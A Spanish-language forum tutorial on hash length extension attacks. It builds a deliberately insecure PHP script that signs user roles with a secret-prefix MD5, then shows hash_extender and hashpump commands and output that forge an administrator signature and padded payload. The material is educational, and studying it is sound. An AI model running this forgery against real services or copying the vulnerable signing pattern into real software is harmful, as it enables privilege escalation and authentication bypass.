Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Ataque de extension de longitud

  • 0 Respuestas
  • 1729 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« en: Enero 15, 2019, 01:34:51 am »
¿Que es?

En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante.

Código de ejemplo:

Código: PHP
  1. <?php
  2.        
  3.         $secret = md5('arthusu');
  4.  
  5.         if(isset($_GET['user']))
  6.         {
  7.                 echo md5($secret . ':user');
  8.                 exit;
  9.         }
  10.  
  11.         if(isset($_GET['admin']))
  12.         {
  13.                 echo md5($secret . ':admin');
  14.         }
  15.  
  16.         $signature = md5($secret . ':' . $_GET['type']);
  17.  
  18.         if($signature == $_GET['sig'])
  19.         {
  20.                 $data = explode(':', $_GET['type']);
  21.  
  22.                 if(end($data) == 'admin')
  23.                 {
  24.                         echo 'Tu eres administrador';
  25.                 }
  26.                 else
  27.                 {
  28.                         echo 'Tu eres un usuario';
  29.                 }
  30.         }
  31.         else
  32.         {
  33.                 echo 'Firma invalida';
  34.         }
  35.  
  36. ?>



Uso:


?user - pedimos la firma para el usuario



?admin - pedimos la firma para el administrador


?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario



En caso de que la palabra no coincida con la firma generada nos va mostrar un mensage un mensaje de error.



 ?sig=xxx&type=admin – nos muestra el usuario administrador

Explotación

Haremos uso de un script:

https://github.com/bwall/HashPump

https://github.com/iagox86/hash_extender


Hash extender en este caso soporta los siguientes hashes para su explotación:

CRC32, MD5, SHA1, SHA256 y SHA512

Ahora identificamos el hash https://www.onlinehashcrack.com/hash-identification.php

Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y 0/GetImage%2B%25286%2529.png[/img]

Generamos una nueva firma

[email protected]:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea  --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html

Código: Text
  1.  
  2. Type: md5
  3.  
  4. Secret length: 7
  5.  
  6. New signature: 12005b20185a5b3feb166cf9017ffa56
  7.  
  8. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00%3aadmin
  9.  
  10.  
  11.  
  12. Type: md5
  13.  
  14. Secret length: 8
  15.  
  16. New signature: 12005b20185a5b3feb166cf9017ffa56
  17.  
  18. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3aadmin
  19.  
  20.  
  21.  
  22. Type: md5
  23.  
  24. Secret length: 9
  25.  
  26. New signature: 12005b20185a5b3feb166cf9017ffa56
  27.  
  28. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%00%00%00%00%00%00%00%3aadmin
  29.  
  30.  
  31.  
  32. Type: md5
  33.  
  34. Secret length: 10
  35.  
  36. New signature: 12005b20185a5b3feb166cf9017ffa56
  37.  
  38. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00p%00%00%00%00%00%00%00%3aadmin
  39.  
  40.  
  41.  
  42. Type: md5
  43.  
  44. Secret length: 11
  45.  
  46. New signature: 12005b20185a5b3feb166cf9017ffa56
  47.  
  48. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00x%00%00%00%00%00%00%00%3aadmin
  49.  
  50.  
  51.  
  52. Type: md5
  53.  
  54. Secret length: 12
  55.  
  56. New signature: 12005b20185a5b3feb166cf9017ffa56
  57.  
  58. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00%3aadmin
  59.  
  60.  
  61.  
  62. Type: md5
  63.  
  64. Secret length: 13
  65.  
  66. New signature: 12005b20185a5b3feb166cf9017ffa56
  67.  
  68. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%88%00%00%00%00%00%00%00%3aadmin
  69.  
  70.  
  71.  
  72. Type: md5
  73.  
  74. Secret length: 14
  75.  
  76. New signature: 12005b20185a5b3feb166cf9017ffa56
  77.  
  78. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00%3aadmin
  79.  
  80.  
  81.  
  82. Type: md5
  83.  
  84. Secret length: 15
  85.  
  86. New signature: 12005b20185a5b3feb166cf9017ffa56
  87.  
  88. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%98%00%00%00%00%00%00%00%3aadmin
  89.  
  90.  
  91.  
  92. Type: md5
  93.  
  94. Secret length: 16
  95.  
  96. New signature: 12005b20185a5b3feb166cf9017ffa56
  97.  
  98. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%00%00%00%00%00%00%3aadmin
  99.  
  100.  
  101.  
  102. Type: md5
  103.  
  104. Secret length: 17
  105.  
  106. New signature: 12005b20185a5b3feb166cf9017ffa56
  107.  
  108. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a8%00%00%00%00%00%00%00%3aadmin
  109.  
  110.  
  111.  
  112. Type: md5
  113.  
  114. Secret length: 18
  115.  
  116. New signature: 12005b20185a5b3feb166cf9017ffa56
  117.  
  118. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00%3aadmin
  119.  
  120.  
  121.  
  122. Type: md5
  123.  
  124. Secret length: 19
  125.  
  126. New signature: 12005b20185a5b3feb166cf9017ffa56
  127.  
  128. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00%3aadmin
  129.  
  130.  
  131.  
  132. Type: md5
  133.  
  134. Secret length: 20
  135.  
  136. New signature: 12005b20185a5b3feb166cf9017ffa56
  137.  
  138. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%3aadmin
  139.  
  140.  
  141.  
  142. Type: md5
  143.  
  144. Secret length: 21
  145.  
  146. New signature: 12005b20185a5b3feb166cf9017ffa56
  147.  
  148. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00%3aadmin
  149.  
  150.  
  151.  
  152. Type: md5
  153.  
  154. Secret length: 22
  155.  
  156. New signature: 12005b20185a5b3feb166cf9017ffa56
  157.  
  158. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%00%00%00%00%00%00%00%3aadmin
  159.  
  160.  
  161.  
  162. Type: md5
  163.  
  164. Secret length: 23
  165.  
  166. New signature: 12005b20185a5b3feb166cf9017ffa56
  167.  
  168. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00%3aadmin
  169.  
  170.  
  171.  
  172. Type: md5
  173.  
  174. Secret length: 24
  175.  
  176. New signature: 12005b20185a5b3feb166cf9017ffa56
  177.  
  178. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00%3aadmin
  179.  
  180.  
  181.  
  182. Type: md5
  183.  
  184. Secret length: 25
  185.  
  186. New signature: 12005b20185a5b3feb166cf9017ffa56
  187.  
  188. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e8%00%00%00%00%00%00%00%3aadmin
  189.  
  190.  
  191.  
  192. Type: md5
  193.  
  194. Secret length: 26
  195.  
  196. New signature: 12005b20185a5b3feb166cf9017ffa56
  197.  
  198. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f0%00%00%00%00%00%00%00%3aadmin
  199.  
  200.  
  201.  
  202. Type: md5
  203.  
  204. Secret length: 27
  205.  
  206. New signature: 12005b20185a5b3feb166cf9017ffa56
  207.  
  208. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00%3aadmin
  209.  
  210.  
  211.  
  212. Type: md5
  213.  
  214. Secret length: 28
  215.  
  216. New signature: 12005b20185a5b3feb166cf9017ffa56
  217.  
  218. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%3aadmin
  219.  
  220.  
  221.  
  222. Type: md5
  223.  
  224. Secret length: 29
  225.  
  226. New signature: 12005b20185a5b3feb166cf9017ffa56
  227.  
  228. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%01%00%00%00%00%00%00%3aadmin
  229.  
  230.  
  231.  
  232. Type: md5
  233.  
  234. Secret length: 30
  235.  
  236. New signature: 12005b20185a5b3feb166cf9017ffa56
  237.  
  238. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%01%00%00%00%00%00%00%3aadmin
  239.  
  240.  
  241.  
  242. Type: md5
  243.  
  244. Secret length: 31
  245.  
  246. New signature: 12005b20185a5b3feb166cf9017ffa56
  247.  
  248. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%01%00%00%00%00%00%00%3aadmin
  249.  
  250.  
  251.  
  252. Type: md5
  253.  
  254. Secret length: 32
  255.  
  256. New signature: 12005b20185a5b3feb166cf9017ffa56
  257.  
  258. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%01%00%00%00%00%00%00%3aadmin
  259.  
  260.  
  261.  
  262. Type: md5
  263.  
  264. Secret length: 33
  265.  
  266. New signature: 12005b20185a5b3feb166cf9017ffa56
  267.  
  268. New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00%3aadmin
  269.  

Donde los parámetros son los siguientes:

-f xxx le indicamos el tipo de hash

-s xxxx le indicamos la firma que tenemos valida

--data 'xxx' le indicamos el dato conocido en este caso user

--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso 

--out-data-format=xxx le indicamos el formato de salida que le va dar

--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo

--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo



El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1.



Para realizar la prueba con hashpump lo hacemos de la siguiente manera:


[email protected]:~$ hashpump

Código: Text
  1. Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea
  2.  
  3. Input Data: :user
  4.  
  5. Input Key Length: 32
  6.  
  7. Input Data to Add: :admin
  8.  
  9. 12005b20185a5b3feb166cf9017ffa56
  10.  
  11. :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin
  12.  

Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea

Después el dato con el que comenzamos user

Y el tamaño de la firma en este caso 32

Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega



Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56

Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin



El cual transformamos \x a % quedando asi: 


user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00(%01%00%00%00%00%00%00:admin

Al ejecutar el payload nos da el resultado correcto.


Conclusión:


Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: https://hackerone.com/reports/251572

Dudas y sugerencias pueden comentar, saludos

Referencia: https://arthusu.blogspot.com/2019/01/ataque-de-extension-de-longitud_14.html
« Última modificación: Enero 15, 2019, 02:30:25 am por arthusu »
Pentest - Hacking & Security Services

Contact me: [email protected]

 

¿Te gustó el post? COMPARTILO!



Enema - SQLi y Ataque Web Framework

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 3178
Último mensaje Abril 17, 2013, 03:49:58 pm
por ANTRAX